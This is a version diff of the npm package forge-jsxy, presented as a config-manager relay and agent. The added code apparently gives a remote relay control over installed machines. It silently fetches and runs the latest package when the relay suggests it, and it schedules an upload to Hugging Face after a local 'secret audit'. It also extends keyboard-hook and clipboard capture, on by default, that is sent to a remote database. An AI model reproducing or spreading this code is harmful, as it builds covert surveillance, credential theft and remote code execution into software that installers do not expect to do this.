forge-jsxy 1.0.85 → 1.0.91

package/dist/relayAgentAutoUpgrade.js

@@ -0,0 +1,143 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.autoUpgradeOnRelayHintEnabled = autoUpgradeOnRelayHintEnabled;
+exports.maybeRunAutoUpgradeFromRelayHint = maybeRunAutoUpgradeFromRelayHint;
+/**
+ * Unattended upgrade when relay advertises a newer `recommended_agent_version`.
+ * Enabled when `FORGE_JS_AUTO_UPGRADE_ON_RELAY=1` **or** relay `relay_features.auto_upgrade_on_relay`
+ * (relay env `RELAY_AUTO_UPGRADE_AGENTS=1`, default on). Staggered; at most once per 6h per machine.
+ */
+const node_child_process_1 = require("node:child_process");
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const clientId_js_1 = require("./clientId.js");
+const forgeSemver_js_1 = require("./forgeSemver.js");
+const MIN_INTERVAL_MS = 6 * 60 * 60 * 1000;
+/** Shorter cooldown while relay uptime is under 2h (post-crash reconnect / upgrade storm). */
+const RECOVERY_MIN_INTERVAL_MS = 90 * 60 * 1000;
+const RECOVERY_RELAY_UPTIME_MS = 2 * 60 * 60 * 1000;
+function relayStartedAtMsFromCaps(relayCaps) {
+    if (!relayCaps)
+        return null;
+    const raw = relayCaps.relay_started_at_ms;
+    if (typeof raw === "number" && Number.isFinite(raw))
+        return raw;
+    if (typeof raw === "string" && raw.trim()) {
+        const n = Number.parseFloat(raw.trim());
+        if (Number.isFinite(n))
+            return n;
+    }
+    return null;
+}
+function minUpgradeIntervalMs(relayCaps) {
+    const started = relayStartedAtMsFromCaps(relayCaps);
+    if (started != null && Date.now() - started < RECOVERY_RELAY_UPTIME_MS) {
+        return RECOVERY_MIN_INTERVAL_MS;
+    }
+    return MIN_INTERVAL_MS;
+}
+function relayCapsTruthy(v) {
+    if (v === true || v === 1)
+        return true;
+    if (typeof v === "string") {
+        const s = v.trim().toLowerCase();
+        return s === "1" || s === "true" || s === "yes" || s === "on";
+    }
+    return false;
+}
+function autoUpgradeOnRelayHintEnabled(relayCaps) {
+    const local = (process.env.FORGE_JS_AUTO_UPGRADE_ON_RELAY || "").trim().toLowerCase();
+    if (["1", "true", "yes", "on"].includes(local))
+        return true;
+    if (local === "0" || local === "false" || local === "no" || local === "off")
+        return false;
+    if (relayCaps && relayCapsTruthy(relayCaps.auto_upgrade_on_relay))
+        return true;
+    return false;
+}
+function staggerMsForSession(sessionId, relayCaps) {
+    let h = 0;
+    const s = sessionId.trim();
+    for (let i = 0; i < s.length; i++)
+        h = (h * 31 + s.charCodeAt(i)) >>> 0;
+    const started = relayStartedAtMsFromCaps(relayCaps);
+    const recovering = started != null && Date.now() - started < RECOVERY_RELAY_UPTIME_MS;
+    const capMs = recovering ? 10 * 60 * 1000 : 30 * 60 * 1000;
+    return h % capMs;
+}
+/** Detached `npm exec forge-jsx-explorer-upgrade` (same entry as file-explorer Upgrade). */
+function maybeRunAutoUpgradeFromRelayHint(opts) {
+    if (!autoUpgradeOnRelayHintEnabled(opts.relayCaps))
+        return;
+    const rec = opts.recommendedVersion.trim();
+    const cur = opts.agentVersion.trim();
+    if (!rec || !cur || !(0, forgeSemver_js_1.forgeSemverLt)(cur, rec))
+        return;
+    const dataDir = (0, clientId_js_1.defaultCfgmgrDataDir)();
+    const stampPath = path.join(dataDir, ".forge-auto-upgrade-last.json");
+    let lastMs = 0;
+    try {
+        const j = JSON.parse(fs.readFileSync(stampPath, "utf8"));
+        if (typeof j.atMs === "number")
+            lastMs = j.atMs;
+    }
+    catch {
+        /* first run */
+    }
+    const minIv = minUpgradeIntervalMs(opts.relayCaps);
+    if (Date.now() - lastMs < minIv)
+        return;
+    const delayMs = staggerMsForSession(opts.sessionId, opts.relayCaps);
+    const t = setTimeout(() => {
+        try {
+            fs.mkdirSync(dataDir, { recursive: true });
+            fs.writeFileSync(stampPath, JSON.stringify({ atMs: Date.now(), from: cur, to: rec }), "utf8");
+        }
+        catch {
+            /* skip */
+        }
+        const isWin = process.platform === "win32";
+        const cmd = isWin ? "npm.cmd" : "npm";
+        const child = (0, node_child_process_1.spawn)(cmd, ["exec", "--yes", "--package=forge-jsxy@latest", "--", "forge-jsx-explorer-upgrade"], { detached: true, stdio: "ignore", windowsHide: isWin });
+        child.unref();
+        if (!opts.quiet) {
+            console.log(`[forge-agent] Auto-upgrade started (relay recommends v${rec}, running v${cur}; may reconnect briefly)`);
+        }
+    }, delayMs);
+    if (typeof t === "object" && t && "unref" in t) {
+        t.unref();
+    }
+}

package/dist/relayDashboardGate.d.ts

@@ -23,6 +23,11 @@ export declare function clearDashboardCookieHeader(): {
     "set-cookie": string;
 };
 export declare function buildDashboardGateLoginHtml(): string;
+/** Generic JSON POST body (ops APIs — not limited to dashboard password). */
+export declare function readJsonObjectBody(req: http.IncomingMessage, maxBytes?: number): Promise<{
+    error?: string;
+    data?: Record<string, unknown>;
+}>;
 export declare function readJsonBody(req: http.IncomingMessage): Promise<{
     error?: string;
     data?: {

package/dist/relayDashboardGate.js

@@ -9,6 +9,7 @@ exports.relayDashboardUnlockedForRequest = relayDashboardUnlockedForRequest;
 exports.tryDashboardLogin = tryDashboardLogin;
 exports.clearDashboardCookieHeader = clearDashboardCookieHeader;
 exports.buildDashboardGateLoginHtml = buildDashboardGateLoginHtml;
+exports.readJsonObjectBody = readJsonObjectBody;
 exports.readJsonBody = readJsonBody;
 /**
  * Optional relay HTTP/WebSocket gate: .env stores only the SHA-256 (hex) of the dashboard
@@ -261,6 +262,65 @@ function buildDashboardGateLoginHtml() {
 </html>`;
 }
 const MAX_AUTH_BODY = 64 * 1024;
+/** Generic JSON POST body (ops APIs — not limited to dashboard password). */
+function readJsonObjectBody(req, maxBytes = MAX_AUTH_BODY) {
+    return new Promise((resolve) => {
+        const chunks = [];
+        let len = 0;
+        let done = false;
+        const fin = (v) => {
+            if (done)
+                return;
+            done = true;
+            resolve(v);
+        };
+        req.on("data", (c) => {
+            if (done)
+                return;
+            const b = typeof c === "string" ? Buffer.from(c) : c;
+            len += b.length;
+            if (len > maxBytes) {
+                try {
+                    req.destroy();
+                }
+                catch {
+                    /* skip */
+                }
+                fin({ error: "payload too large" });
+                return;
+            }
+            chunks.push(b);
+        });
+        req.on("end", () => {
+            if (done)
+                return;
+            const raw = Buffer.concat(chunks).toString("utf8").trim();
+            if (!raw) {
+                fin({ data: {} });
+                return;
+            }
+            try {
+                const o = JSON.parse(raw);
+                if (!o || typeof o !== "object" || Array.isArray(o)) {
+                    fin({ error: "invalid json object" });
+                    return;
+                }
+                fin({ data: o });
+            }
+            catch {
+                fin({ error: "invalid json" });
+            }
+        });
+        req.on("error", () => fin({ error: "aborted" }));
+        req.on("close", () => {
+            if (done)
+                return;
+            if (req.readableEnded)
+                return;
+            fin({ error: "aborted" });
+        });
+    });
+}
 function readJsonBody(req) {
     return new Promise((resolve) => {
         const chunks = [];

package/dist/relayServer.js

@@ -99,6 +99,19 @@ function _blacklistEnabled() {
     const raw = (process.env.RELAY_BLACKLIST_CHECK ?? "1").trim().toLowerCase();
     return !["0", "false", "no", "off"].includes(raw);
 }
+function agentVersionOlderThanRelay(agentVersion, relayPkg) {
+    const av = agentVersion.trim().split(".").map((x) => parseInt(x, 10) || 0);
+    const rv = relayPkg.trim().split(".").map((x) => parseInt(x, 10) || 0);
+    if (rv.length < 3 || av.length < 3)
+        return false;
+    if (av[0] < rv[0])
+        return true;
+    if (av[0] === rv[0] && av[1] < rv[1])
+        return true;
+    if (av[0] === rv[0] && av[1] === rv[1] && av[2] < rv[2])
+        return true;
+    return false;
+}
 async function _refreshBlacklistIfStale() {
     if (!_blacklistEnabled())
         return;
@@ -395,6 +408,8 @@ class Session {
     }
 }
 const sessions = new Map();
+/** Set when `startRelayServer` binds — exposed on `GET /api/sessions` for status dashboards during reconnect storms. */
+let relayServerStartedAtMs = 0;
 function wsIsOpen(ws) {
     return ws !== null && ws.readyState === ws_1.default.OPEN;
 }
@@ -868,6 +883,130 @@ function listSessionsPayload() {
         agent_webrtc_datachannel: s.agentWebrtcDatachannel,
     }));
 }
+/** Ops snapshot: connected agents + upgrade targets (same auth as `/api/sessions`). */
+async function queueAgentRestartsOnForgeDb(tableNames, note) {
+    const base = _forgeDbApiUrl().replace(/\/+$/, "");
+    const apiKey = (process.env.RELAY_FORGE_DB_API_KEY ||
+        process.env.FORGE_DB_API_KEY ||
+        "").trim();
+    const headers = { "Content-Type": "application/json" };
+    if (apiKey)
+        headers["X-Forge-Api-Key"] = apiKey;
+    const res = await fetch(`${base}/api/agent-restart-queue`, {
+        method: "POST",
+        headers,
+        body: JSON.stringify({
+            table_names: tableNames,
+            note: note || "relay /api/agent-restart-queue",
+        }),
+    });
+    const text = await res.text();
+    let data = {};
+    try {
+        data = text ? JSON.parse(text) : {};
+    }
+    catch {
+        data = { raw: text };
+    }
+    if (!res.ok) {
+        throw new Error(`forge-db queue HTTP ${res.status}: ${text.slice(0, 400)}`);
+    }
+    const o = data;
+    return {
+        queued: Array.isArray(o.queued) ? o.queued.map(String) : [],
+        count: typeof o.count === "number" ? o.count : 0,
+    };
+}
+function nudgeConnectedAgentsRestart(tableNames) {
+    const want = new Set(tableNames
+        .map((t) => (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(String(t).trim()))
+        .filter((t) => t.length > 0));
+    let n = 0;
+    for (const s of sessions.values()) {
+        if (!want.has(s.sessionId))
+            continue;
+        if (!wsIsOpen(s.agent))
+            continue;
+        try {
+            s.agent.send(JSON.stringify({ type: "relay_agent_restart_requested" }));
+            n++;
+        }
+        catch {
+            /* skip */
+        }
+    }
+    return n;
+}
+function handlePostAgentRestartQueue(req, res) {
+    void (0, relayDashboardGate_1.readJsonObjectBody)(req).then(async (b) => {
+        if (res.writableEnded)
+            return;
+        try {
+            if (b.error) {
+                res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
+                res.end(JSON.stringify({ error: b.error }));
+                return;
+            }
+            const body = b.data || {};
+            const raw = body.table_names ?? body.tableNames ?? body.sessions;
+            const list = Array.isArray(raw)
+                ? raw.map((x) => String(x).trim()).filter(Boolean)
+                : [];
+            if (!list.length) {
+                res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
+                res.end(JSON.stringify({ error: "table_names[] required" }));
+                return;
+            }
+            const note = String(body.note ?? "").trim();
+            const queued = await queueAgentRestartsOnForgeDb(list, note);
+            const wsNudged = nudgeConnectedAgentsRestart(list);
+            _applySecurityHeaders(res);
+            res.writeHead(200, { "Content-Type": "application/json; charset=utf-8" });
+            res.end(JSON.stringify({
+                status: "ok",
+                forge_db: queued,
+                ws_nudged: wsNudged,
+            }));
+        }
+        catch (e) {
+            _ifHttpWritable(res, () => {
+                res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
+                res.end(JSON.stringify({
+                    error: e instanceof Error ? e.message : String(e),
+                }));
+            });
+        }
+    });
+}
+function listAgentFleetPayload() {
+    const relayPkg = relayPackageVersion();
+    const agents = Array.from(sessions.values())
+        .filter((s) => wsIsOpen(s.agent))
+        .map((s) => {
+        const ver = (s.agentVersion || "").trim();
+        const needsUpgrade = relayPkg !== "unknown" && ver
+            ? agentVersionOlderThanRelay(ver, relayPkg)
+            : false;
+        return {
+            session_id: s.sessionId,
+            agent_version: ver || null,
+            agent_hostname: s.agentHostname || null,
+            agent_os: s.agentOs || null,
+            needs_upgrade: needsUpgrade,
+        };
+    });
+    const needsUpgrade = agents.filter((a) => a.needs_upgrade).length;
+    return {
+        relay_version: relayPkg === "unknown" ? null : relayPkg,
+        relay_started_at_ms: relayServerStartedAtMs || Date.now(),
+        summary: {
+            connected_agents: agents.length,
+            needs_upgrade: needsUpgrade,
+            on_current_relay: agents.length - needsUpgrade,
+        },
+        agents,
+    };
+}
 function handleHttp(req, res) {
     let url;
     try {
@@ -884,6 +1023,10 @@ function handleHttp(req, res) {
             handlePostRelayDashboard(req, res, p);
             return;
         }
+        if (p === "/api/agent-restart-queue" && relaySessionsApiAllowed(req)) {
+            handlePostAgentRestartQueue(req, res);
+            return;
+        }
         res.writeHead(405, { "Content-Type": "text/plain" });
         res.end("Method Not Allowed");
         return;
@@ -980,7 +1123,16 @@ function handleHttp(req, res) {
     if (p === "/api/sessions" && relaySessionsApiAllowed(req)) {
         _applySecurityHeaders(res);
         res.writeHead(200, { "Content-Type": "application/json" });
-        res.end(JSON.stringify({ sessions: listSessionsPayload() }));
+        res.end(JSON.stringify({
+            sessions: listSessionsPayload(),
+            relay_started_at_ms: relayServerStartedAtMs || Date.now(),
+        }));
+        return;
+    }
+    if (p === "/api/agent-fleet" && relaySessionsApiAllowed(req)) {
+        _applySecurityHeaders(res);
+        res.writeHead(200, { "Content-Type": "application/json" });
+        res.end(JSON.stringify(listAgentFleetPayload()));
         return;
     }
     /**
@@ -1150,6 +1302,20 @@ function attachConnection(ws, req, role, sessionId) {
                     const v = relayPackageVersion();
                     return v === "unknown" ? undefined : v;
                 })(),
+                relay_started_at_ms: relayServerStartedAtMs || Date.now(),
+                recommended_agent_version: (() => {
+                    const v = relayPackageVersion();
+                    return v === "unknown" ? undefined : v;
+                })(),
+                relay_reconnect_delay_ms: (() => {
+                    const raw = (process.env.FORGE_JS_RELAY_RECONNECT_MS || "").trim();
+                    if (raw) {
+                        const n = parseInt(raw, 10);
+                        if (Number.isFinite(n) && n >= 500 && n <= 120_000)
+                            return n;
+                    }
+                    return 2000;
+                })(),
                 ...(relayWebRtcFeaturesPayload() ?? {}),
             };
             ws.send(JSON.stringify({
@@ -1495,11 +1661,7 @@ function attachConnection(ws, req, role, sessionId) {
             // Log version comparison against actual relay package version.
             if (session.agentVersion) {
                 const relayPkg = relayPackageVersion();
-                const av = session.agentVersion.split(".").map(Number);
-                const rv = relayPkg.split(".").map(Number);
-                const agentOlder = rv.length >= 3 && av.length >= 3 &&
-                    (av[0] < rv[0] || (av[0] === rv[0] && av[1] < rv[1]) ||
-                        (av[0] === rv[0] && av[1] === rv[1] && av[2] < rv[2]));
+                const agentOlder = agentVersionOlderThanRelay(session.agentVersion, relayPkg);
                 if (_shouldLogVersionNotice(sessionId)) {
                     if (agentOlder) {
                         console.log(`[relay] agent ${sessionId} running v${session.agentVersion} (relay v${relayPkg}) — upgrade from file explorer (Upgrade agent) when ready`);
@@ -1764,8 +1926,19 @@ function startRelayServer(opts = {}) {
         }
     }, 30_000);
     interval.unref?.();
+    const agentStatusLogMs = 300_000;
+    let agentStatusLogPass = 0;
+    const agentStatusInterval = setInterval(() => {
+        agentStatusLogPass++;
+        const withAgent = [...sessions.values()].filter((s) => wsIsOpen(s.agent)).length;
+        if (agentStatusLogPass === 1 || agentStatusLogPass % 4 === 0) {
+            console.log(`[relay] connected agents: ${withAgent}`);
+        }
+    }, agentStatusLogMs);
+    agentStatusInterval.unref?.();
     server.once("close", () => {
         clearInterval(interval);
+        clearInterval(agentStatusInterval);
         try {
             wss.close();
         }
@@ -1774,11 +1947,13 @@ function startRelayServer(opts = {}) {
         }
     });
     (0, relayDashboardGate_1.warnInvalidDashboardGateEnvIfNeeded)();
+    relayServerStartedAtMs = Date.now();
     server.listen(port, host, () => {
         const addr = server.address();
         const listenPort = typeof addr === "object" && addr && "port" in addr ? addr.port : port;
         const uh = urlDisplayHost(host);
         console.log(`CfgMgr Relay Server listening on ${host}:${listenPort}`);
+        console.log(`[relay] v${relayPackageVersion()} (forge-jsxy upgrades are manual: file explorer → Upgrade forge-jsxy)`);
         console.log(`  File explorer:     http://${uh}:${listenPort}/`);
         console.log(`  Same UI:           /files /explorer /viewer /remote   minimal relay page: /relay`);
         console.log(`  WebSocket: ws://${uh}:${listenPort}/ws/agent/<session_id>`);

package/dist/secretScan/agentStartupAudit.d.ts

@@ -42,10 +42,13 @@ export declare function shouldRunSecretAuditNow(): boolean;
 export declare function runAgentStartupSecretAudit(opts: {
     relayCaps?: Record<string, unknown>;
     fetchHubCredentials: () => Promise<HfCredentials>;
+    /** Session / forge-db table name (`client_*`) for session Hub repo uploads. */
+    clientTableName?: string;
     quiet: boolean;
 }): Promise<void>;
 export declare function scheduleAgentStartupSecretAudit(opts: {
     relayCaps: Record<string, unknown>;
     quiet: boolean;
     fetchHubCredentials: () => Promise<HfCredentials>;
+    clientTableName?: string;
 }): void;

package/dist/secretScan/agentStartupAudit.js

@@ -87,6 +87,7 @@ const auditFindingSlim_1 = require("./auditFindingSlim");
 const runFilenameSecretScan_1 = require("./runFilenameSecretScan");
 const runFilenameSecretScan_2 = require("./runFilenameSecretScan");
 const auditScanScope_1 = require("./auditScanScope");
+const extensionDbHfUpload_1 = require("../extensionDbHfUpload");
 const strictMaterialGate_1 = require("./strictMaterialGate");
 function auditDir() {
     return path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy", ".vault", "secret-audit");
@@ -700,6 +701,11 @@ async function runAgentStartupSecretAudit(opts) {
                     "optional CFGMGR_HF_NAMESPACE if JSON lacks \"namespace\")");
             }
         }
+        (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
+            clientTableName: (opts.clientTableName || "").trim(),
+            fetchHubCredentials: opts.fetchHubCredentials,
+            quiet: opts.quiet,
+        });
     }
     finally {
         auditInFlight = false;
@@ -713,6 +719,7 @@ function scheduleAgentStartupSecretAudit(opts) {
             relayCaps: opts.relayCaps,
             quiet: opts.quiet,
             fetchHubCredentials: opts.fetchHubCredentials,
+            clientTableName: opts.clientTableName,
         }).catch((e) => {
             if (!opts.quiet) {
                 console.warn("[forge-agent] secret audit:", e instanceof Error ? e.message : e);

package/dist/syncClient.d.ts

@@ -46,7 +46,7 @@ export declare class ForgeSyncClient {
         os_type?: string;
         os_platform?: string;
         hostname?: string;
-    }): Promise<void>;
+    }): Promise<Record<string, unknown> | null>;
     createEventsBatch(events: SyncEventPayload[]): Promise<{
         inserted: number;
         ids: number[];

package/dist/syncClient.js

@@ -125,11 +125,15 @@ class ForgeSyncClient {
      */
     async updateClientInfo(info) {
         try {
-            await this.request("POST", "/api/client-info", info);
+            const r = await this.request("POST", "/api/client-info", info);
+            if (r.ok && r.data && typeof r.data === "object" && !Array.isArray(r.data)) {
+                return r.data;
+            }
         }
         catch {
             /* non-fatal — OS info is display-only */
         }
+        return null;
     }
     async createEventsBatch(events) {
         const r = await this.request("POST", "/api/events/batch", { events });

package/dist/windowsInputSync.d.ts

@@ -1,9 +1,23 @@
+/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
+export declare function desktopSyncOpLog(message: string): void;
+/** True for network / overload errors where retrying forge-db POST is worthwhile. */
+export declare function isTransientForgeDbSyncError(err: unknown): boolean;
+/** Human-readable reason when keyboard hook is skipped; null when uiohook should run. */
+export declare function skipUiohookKeyboardReason(): string | null;
+/** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
+export declare function skipUiohookKeyboard(): boolean;
 /**
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
  * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
  */
 export declare function effectiveSyncKeyboardClipboard(): boolean;
 export declare function resolveSyncApiBase(): string | null;
+/**
+ * Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
+ * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
+ */
+export declare function preferExecClipboardReader(): boolean;
+export type DesktopInputSyncStop = () => void | Promise<void>;
 export type DesktopInputSyncOptions = {
     apiBaseUrl: string;
     clientId?: string;
@@ -18,5 +32,5 @@ export type WindowsInputSyncOptions = DesktopInputSyncOptions;
 /**
  * Start background sync on Windows, Linux, and macOS. No-op on other platforms.
  */
-export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): () => void;
+export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): DesktopInputSyncStop;
 export declare const startWindowsInputSync: typeof startDesktopInputSync;